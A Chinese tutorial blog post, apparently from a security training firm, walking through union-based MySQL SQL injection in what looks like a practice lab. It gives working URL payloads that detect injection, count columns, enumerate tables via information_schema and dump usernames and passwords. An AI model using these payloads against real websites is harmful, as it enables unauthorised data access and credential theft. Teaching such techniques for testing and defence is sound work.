concat mysql sql注入_渗透测试之SQL注入(2)

本文深入探讨了SQL注入,特别是字符型注入,介绍了如何利用concat函数进行数据库交互,包括database()、user()、version()等内置函数的使用,并展示了通过union select获取敏感信息的步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

d8e27fbe68f6fb9a4d719fb209d47854.png

渗 透 测 试

之 SQL 注 入(2)

前言

上篇文章介绍了SQL注入漏洞原理、危害、防御,还有注入类型的简单介绍。今天就来说下按数据类型分类的整型注入和字符型注入的区别与常见的注入手法。

01

整型注入和字符型注入的区别

整形注入:

?id = 1 and 1 = 1     //页面无变化

?id = 1 and 1 = 2     //页面回显报错

字符型注入:

?id = 1’ and 1 =1 #     //页面无变化

?id = 1’ and 1 =2 #     //页面回显报错

此外常见的注释符还有:%23、-- (空格)、--+

02

常用内置函数(以mysql为例)

  1. database() 函数
    作用:查看当前连接的数据库名称
    SQL语句:select database();

  2. user() 函数
    作用:查看当前连接数据库的用户
    SQL语句:select user();

  3. version() 函数
    作用:查看数据库的版本
    SQL语句:select version();

  4. concat(str1,str2) 函数
    作用:连接两个字符串并传入数据库
    SQL语句:select concat(username,password) from user; 实现无间隔连接字符串username和password

    31b9400face34b6f911d16044d8f25db.png

  5. concat_ws(separator,str1,str2) 函数
    作用:用分隔符连接两个字段的字符串
    SQL语句:select concat_ws('--',username,password) from user; 实现用分隔符"--"连接字符串username和password

    93e2c164a74493957b96f26cbde620ee.png

  6. group_concat(str1,str2) 函数
    作用:将多行查询结果以逗号分隔全部输出
    SQL语句:select group_concat(username,password) from user; 实现将每一行的字符串username和password连接起来,多行之间用逗号隔开,多行一起输出.

    00092f82b035999c452acd9a6d646e4c.png

  7. group_concat(concat_ws(seperator,str1,str2)) 函数
    作用:将多行查询结果以逗号分隔全部输出,每一行的结果可用设置的分隔符作字段的间隔,实现将每一行的字符串username和password用符号"--"连接起来,多行之间用逗号隔开,多行一起输出.

    c18ae7e62b0c1a04a07bc5f70884fa23.png

03

常见注入手法详细步骤

  (列举字符型注入)

  如下图所示访问一个正常的页面。

2811b8e08e029992af9078110247264f.png

  在url后添加?id=1 如下图所示页面回显正常。

be9fa8886815c6ca5abbb1120b889ad5.png

  判断是否存在注入:在id=1添加 ’ 回车后页面报错,说明可能存在sql注入。

d3d8ac06ebdf9e8fb0297478aab27eb9.png

  判断注入类型:如下图所示在url内输入?id = 1 and 1=1和?id=1 and 1 =2 页面均回显正常。

a4b2824f678a81889b30058f5e10f8ff.png

9570f72d8a96ee152b81680ca75cee16.png

  继续判断,再次输入?id=1’ and 1=1 #后页面回显报错。

99f5dbb53fa21f3f2b826dffaec01624.png

  更换注释符继续判断,如图所示?id=1’ and 1=1 --+回显正常,?id=1’ and 1=2 --+页面回显报错

da7263b05f1d83e384d1d4cce0ff92aa.png

36077aeae054db9d22e3cf8cb053d688.png

  根据页面回显及注入语句判断该注入类型为字符型注入。

  根据order by或 group by判断列数:如图所示当列数为4时页面报错,为3时页面回显正常,因此判断为3列。

bd5d384384a068460324c088a526ab5f.png

3e2660ffaa746a17915f2e334b057130.png

  判断显示位:?id=-1' union select 1,2,3 --+  如图所示回显位为2和3。

1bcbd6c69ffe1ce6f7d2b1534bc5a32c.png

  查看敏感信息:

?id=-1' union select 1,@@datadir,3 --+        //返回当前数据路的存放路径

f73771cad16d6991148cbf7b01074bd3.png

  ?id=-1' union select 1,@@version_compile_os,@@basedir --+      //返回操作系统版本和数据库安装路径

3993aa78b3007ce95d1fcae6b887f799.png

  ?id=-1' union select 1,database(),3 --+  //返回库名

91215594c3109e227934c32bfdf5d244.png

  获得当前库内(security)所有的表名:?id=-1' union select 1 ,group_concat(table_name), 3 from information_schema.tables where table_schema=database()--+

  f2dcbaf77b64877494ab25603943f0f0.png

  获取users表内的列名:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

5e0462fac25c824059ef98cf37a114ff.png

 查看用户名和密码:?id=-1' union select 1,group_concat(username,password),3 from users --+

b628f3b970e87fe931d9a75f06ab8b4b.png

关于我们:

北京冠程科技有限公司(Beijing GctechTechnologyCo.,Ltd.)是一家集人才、技术和经验于一体的,提供全面网络安全解决方案的专业服务商。冠程科技致力于为各行业的网络安全需求提供软件研发和通用解决方案,业务领域主要包括基础服务、咨询业务、产品研发和安全培训四大版块,各版块相互独立又相辅相成,完美阐释了“专业服务、全程服务、延伸服务”的服务体系和“单一业务与长远目标相融合”的服务理念。

关注冠程科技,关注网络安全!

总公司:北京冠程科技有限公司

地址:北京市昌平区科技园区东区产业基地企业墅上区一号楼九单元四层

河北分公司:河北镌远网络科技有限公司(隶属于冠程科技的河北分公司)

地址:河北省邯郸市丛台区中华北大街193号慧谷大厦14层1418号

实训基地:河北省石家庄市电子信息学校冠程科技研究与实训中心

a617feb18f9f8003f6598be52fac88ae.png240f5f8fe4c8bb1767b634e513168428.png 

欢迎扫描关注我们,及时了解更多关于网络安全相关知识

3cb0e37e0356bfe1df5ebfa27fceb012.gif
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值